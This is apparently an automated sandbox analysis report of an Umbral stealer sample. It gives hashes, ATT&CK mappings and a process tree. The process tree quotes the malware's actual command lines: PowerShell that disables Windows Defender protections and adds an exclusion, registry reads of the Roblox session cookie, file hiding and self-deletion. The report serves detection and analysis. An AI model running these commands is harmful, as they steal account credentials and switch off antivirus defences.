umbral | ea4cb7c7b4cfb2fcc04d1c3f96b20c26638e69a97b15cae14659f0d6afb78f85

Analysis

max time kernel
91s
max time network
95s
platform
windows10-2004_x64
resource
win10v2004-20240412-en
resource tags

arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system
submitted
25-04-2024 18:08

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General

Target

b5uEJHZB6Rl.exe
Size

231KB
MD5

438289fb9c72ed39bf5497f9af21ec7a
SHA1

8120391ecb41ed6a4c6ef0b259776e59311d6997
SHA256

ea4cb7c7b4cfb2fcc04d1c3f96b20c26638e69a97b15cae14659f0d6afb78f85
SHA512

3647907fa2d503a242ef07cb20b081444b75e0c618a91232c8e77903b4b6aa823b8a7cbe07a45e02591fe48fdd23b5eae88565006b85863c0a5f6e42d7589fe0
SSDEEP

6144:YloZM+rIkd8g+EtXHkv/iD4Bs4DdLocD/abtIEx6tb8e1mTiu:GoZtL+EP8Bs4DdLocD/abtIExq1

Score

10^/10

umbral spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/2588-0-0x000002BFF1860000-0x000002BFF18A0000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	b5uEJHZB6Rl.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
51	discord.com
52	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
13	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
220	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4636	PING.EXE

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
2588	b5uEJHZB6Rl.exe
2340	powershell.exe
2340	powershell.exe
4992	powershell.exe
4992	powershell.exe
1660	powershell.exe
1660	powershell.exe
3664	powershell.exe
3664	powershell.exe
3664	powershell.exe
2168	powershell.exe
2168	powershell.exe
2168	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2588	b5uEJHZB6Rl.exe
Token: SeIncreaseQuotaPrivilege	2036	wmic.exe
Token: SeSecurityPrivilege	2036	wmic.exe
Token: SeTakeOwnershipPrivilege	2036	wmic.exe
Token: SeLoadDriverPrivilege	2036	wmic.exe
Token: SeSystemProfilePrivilege	2036	wmic.exe
Token: SeSystemtimePrivilege	2036	wmic.exe
Token: SeProfSingleProcessPrivilege	2036	wmic.exe
Token: SeIncBasePriorityPrivilege	2036	wmic.exe
Token: SeCreatePagefilePrivilege	2036	wmic.exe
Token: SeBackupPrivilege	2036	wmic.exe
Token: SeRestorePrivilege	2036	wmic.exe
Token: SeShutdownPrivilege	2036	wmic.exe
Token: SeDebugPrivilege	2036	wmic.exe
Token: SeSystemEnvironmentPrivilege	2036	wmic.exe
Token: SeRemoteShutdownPrivilege	2036	wmic.exe
Token: SeUndockPrivilege	2036	wmic.exe
Token: SeManageVolumePrivilege	2036	wmic.exe
Token: 33	2036	wmic.exe
Token: 34	2036	wmic.exe
Token: 35	2036	wmic.exe
Token: 36	2036	wmic.exe
Token: SeIncreaseQuotaPrivilege	2036	wmic.exe
Token: SeSecurityPrivilege	2036	wmic.exe
Token: SeTakeOwnershipPrivilege	2036	wmic.exe
Token: SeLoadDriverPrivilege	2036	wmic.exe
Token: SeSystemProfilePrivilege	2036	wmic.exe
Token: SeSystemtimePrivilege	2036	wmic.exe
Token: SeProfSingleProcessPrivilege	2036	wmic.exe
Token: SeIncBasePriorityPrivilege	2036	wmic.exe
Token: SeCreatePagefilePrivilege	2036	wmic.exe
Token: SeBackupPrivilege	2036	wmic.exe
Token: SeRestorePrivilege	2036	wmic.exe
Token: SeShutdownPrivilege	2036	wmic.exe
Token: SeDebugPrivilege	2036	wmic.exe
Token: SeSystemEnvironmentPrivilege	2036	wmic.exe
Token: SeRemoteShutdownPrivilege	2036	wmic.exe
Token: SeUndockPrivilege	2036	wmic.exe
Token: SeManageVolumePrivilege	2036	wmic.exe
Token: 33	2036	wmic.exe
Token: 34	2036	wmic.exe
Token: 35	2036	wmic.exe
Token: 36	2036	wmic.exe
Token: SeDebugPrivilege	2340	powershell.exe
Token: SeDebugPrivilege	4992	powershell.exe
Token: SeDebugPrivilege	1660	powershell.exe
Token: SeDebugPrivilege	3664	powershell.exe
Token: SeIncreaseQuotaPrivilege	808	wmic.exe
Token: SeSecurityPrivilege	808	wmic.exe
Token: SeTakeOwnershipPrivilege	808	wmic.exe
Token: SeLoadDriverPrivilege	808	wmic.exe
Token: SeSystemProfilePrivilege	808	wmic.exe
Token: SeSystemtimePrivilege	808	wmic.exe
Token: SeProfSingleProcessPrivilege	808	wmic.exe
Token: SeIncBasePriorityPrivilege	808	wmic.exe
Token: SeCreatePagefilePrivilege	808	wmic.exe
Token: SeBackupPrivilege	808	wmic.exe
Token: SeRestorePrivilege	808	wmic.exe
Token: SeShutdownPrivilege	808	wmic.exe
Token: SeDebugPrivilege	808	wmic.exe
Token: SeSystemEnvironmentPrivilege	808	wmic.exe
Token: SeRemoteShutdownPrivilege	808	wmic.exe
Token: SeUndockPrivilege	808	wmic.exe
Token: SeManageVolumePrivilege	808	wmic.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 2588 wrote to memory of 2036	2588	b5uEJHZB6Rl.exe	86
PID 2588 wrote to memory of 2036	2588	b5uEJHZB6Rl.exe	86
PID 2588 wrote to memory of 3000	2588	b5uEJHZB6Rl.exe	92
PID 2588 wrote to memory of 3000	2588	b5uEJHZB6Rl.exe	92
PID 2588 wrote to memory of 2340	2588	b5uEJHZB6Rl.exe	94
PID 2588 wrote to memory of 2340	2588	b5uEJHZB6Rl.exe	94
PID 2588 wrote to memory of 4992	2588	b5uEJHZB6Rl.exe	96
PID 2588 wrote to memory of 4992	2588	b5uEJHZB6Rl.exe	96
PID 2588 wrote to memory of 1660	2588	b5uEJHZB6Rl.exe	99
PID 2588 wrote to memory of 1660	2588	b5uEJHZB6Rl.exe	99
PID 2588 wrote to memory of 3664	2588	b5uEJHZB6Rl.exe	101
PID 2588 wrote to memory of 3664	2588	b5uEJHZB6Rl.exe	101
PID 2588 wrote to memory of 808	2588	b5uEJHZB6Rl.exe	107
PID 2588 wrote to memory of 808	2588	b5uEJHZB6Rl.exe	107
PID 2588 wrote to memory of 4080	2588	b5uEJHZB6Rl.exe	109
PID 2588 wrote to memory of 4080	2588	b5uEJHZB6Rl.exe	109
PID 2588 wrote to memory of 2884	2588	b5uEJHZB6Rl.exe	112
PID 2588 wrote to memory of 2884	2588	b5uEJHZB6Rl.exe	112
PID 2588 wrote to memory of 2168	2588	b5uEJHZB6Rl.exe	114
PID 2588 wrote to memory of 2168	2588	b5uEJHZB6Rl.exe	114
PID 2588 wrote to memory of 220	2588	b5uEJHZB6Rl.exe	117
PID 2588 wrote to memory of 220	2588	b5uEJHZB6Rl.exe	117
PID 2588 wrote to memory of 1672	2588	b5uEJHZB6Rl.exe	120
PID 2588 wrote to memory of 1672	2588	b5uEJHZB6Rl.exe	120

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
3000	attrib.exe

C:\Users\Admin\AppData\Local\Temp\b5uEJHZB6Rl.exe
"C:\Users\Admin\AppData\Local\Temp\b5uEJHZB6Rl.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2588
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2036
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\b5uEJHZB6Rl.exe"
  2⤵
  - Views/modifies file attributes
  PID:3000
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\b5uEJHZB6Rl.exe'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2340
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4992
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1660
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3664
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:808
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:4080
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:2884
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2168
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:220
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\b5uEJHZB6Rl.exe" && pause
  2⤵
  PID:1672
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - Runs ping.exe
    PID:4636

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
107102102e02e48f37f5318c7e113c43

SHA1
7fb10fc65c85fb4c050309f0872bc9389dcccc0d

SHA256
3c3f49948c1e832c86b959c32bc288ddedb500534b74df082f8967fc7f9976f7

SHA512
b108a47d7c3dd154cad44362b6cd557b7064096383d100e6cd64bfb19c4e2ad878ed4ee800776322ad3cc4bb721fb675b0ecab8f5661024188fa3aa19561841b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d42b6da621e8df5674e26b799c8e2aa

SHA1
ab3ce1327ea1eeedb987ec823d5e0cb146bafa48

SHA256
5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c

SHA512
53faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
c9b6705519e1eef08f86c4ba5f4286f3

SHA1
6c6b179e452ecee2673a1d4fe128f1c06f70577f

SHA256
0f9cad44a79126871580e19b01dc3f880c5173b1faaf8b9018d5d1f829714705

SHA512
6d8f85a7a8b0b124530f36a157cd0441b5c1eacdc35e274af9fbf0569d03d1d5e468651a5b2425f0215c282ecfa7b1ffeaeeaf18612822f00bd14306d30640c7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
276798eeb29a49dc6e199768bc9c2e71

SHA1
5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

SHA256
cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

SHA512
0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hujvj0sb.3lt.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1660-41-0x00007FFFFDBF0000-0x00007FFFFE6B1000-memory.dmp

Filesize
10.8MB

Download
memory/1660-42-0x000002C871280000-0x000002C871290000-memory.dmp

Filesize
64KB

Download
memory/1660-66-0x000002C871280000-0x000002C871290000-memory.dmp

Filesize
64KB

Download
memory/1660-68-0x00007FFFFDBF0000-0x00007FFFFE6B1000-memory.dmp

Filesize
10.8MB

Download
memory/1660-43-0x000002C871280000-0x000002C871290000-memory.dmp

Filesize
64KB

Download
memory/2168-103-0x0000027653200000-0x0000027653210000-memory.dmp

Filesize
64KB

Download
memory/2168-101-0x00007FFFFDBF0000-0x00007FFFFE6B1000-memory.dmp

Filesize
10.8MB

Download
memory/2168-104-0x0000027653200000-0x0000027653210000-memory.dmp

Filesize
64KB

Download
memory/2168-106-0x00007FFFFDBF0000-0x00007FFFFE6B1000-memory.dmp

Filesize
10.8MB

Download
memory/2340-18-0x00007FFFFDBF0000-0x00007FFFFE6B1000-memory.dmp

Filesize
10.8MB

Download
memory/2340-11-0x000002432CB50000-0x000002432CB72000-memory.dmp

Filesize
136KB

Download
memory/2340-4-0x00000243145F0000-0x0000024314600000-memory.dmp

Filesize
64KB

Download
memory/2340-5-0x00000243145F0000-0x0000024314600000-memory.dmp

Filesize
64KB

Download
memory/2340-3-0x00007FFFFDBF0000-0x00007FFFFE6B1000-memory.dmp

Filesize
10.8MB

Download
memory/2588-83-0x000002BFF3CE0000-0x000002BFF3CF0000-memory.dmp

Filesize
64KB

Download
memory/2588-40-0x000002BFF3CC0000-0x000002BFF3CDE000-memory.dmp

Filesize
120KB

Download
memory/2588-39-0x000002BFF4040000-0x000002BFF4090000-memory.dmp

Filesize
320KB

Download
memory/2588-38-0x000002BFF3FC0000-0x000002BFF4036000-memory.dmp

Filesize
472KB

Download
memory/2588-111-0x00007FFFFDBF0000-0x00007FFFFE6B1000-memory.dmp

Filesize
10.8MB

Download
memory/2588-69-0x00007FFFFDBF0000-0x00007FFFFE6B1000-memory.dmp

Filesize
10.8MB

Download
memory/2588-2-0x000002BFF3CE0000-0x000002BFF3CF0000-memory.dmp

Filesize
64KB

Download
memory/2588-1-0x00007FFFFDBF0000-0x00007FFFFE6B1000-memory.dmp

Filesize
10.8MB

Download
memory/2588-88-0x000002BFF3F60000-0x000002BFF3F6A000-memory.dmp

Filesize
40KB

Download
memory/2588-89-0x000002BFF3F90000-0x000002BFF3FA2000-memory.dmp

Filesize
72KB

Download
memory/2588-0-0x000002BFF1860000-0x000002BFF18A0000-memory.dmp

Filesize
256KB

Download
memory/3664-84-0x000001E53C920000-0x000001E53C930000-memory.dmp

Filesize
64KB

Download
memory/3664-86-0x00007FFFFDBF0000-0x00007FFFFE6B1000-memory.dmp

Filesize
10.8MB

Download
memory/3664-81-0x000001E53C920000-0x000001E53C930000-memory.dmp

Filesize
64KB

Download
memory/3664-80-0x000001E53C920000-0x000001E53C930000-memory.dmp

Filesize
64KB

Download
memory/3664-72-0x00007FFFFDBF0000-0x00007FFFFE6B1000-memory.dmp

Filesize
10.8MB

Download
memory/4992-33-0x00000244F0B10000-0x00000244F0B20000-memory.dmp

Filesize
64KB

Download
memory/4992-22-0x00000244F0B10000-0x00000244F0B20000-memory.dmp

Filesize
64KB

Download
memory/4992-21-0x00000244F0B10000-0x00000244F0B20000-memory.dmp

Filesize
64KB

Download
memory/4992-20-0x00007FFFFDBF0000-0x00007FFFFE6B1000-memory.dmp

Filesize
10.8MB

Download
memory/4992-35-0x00007FFFFDBF0000-0x00007FFFFE6B1000-memory.dmp

Filesize
10.8MB

Download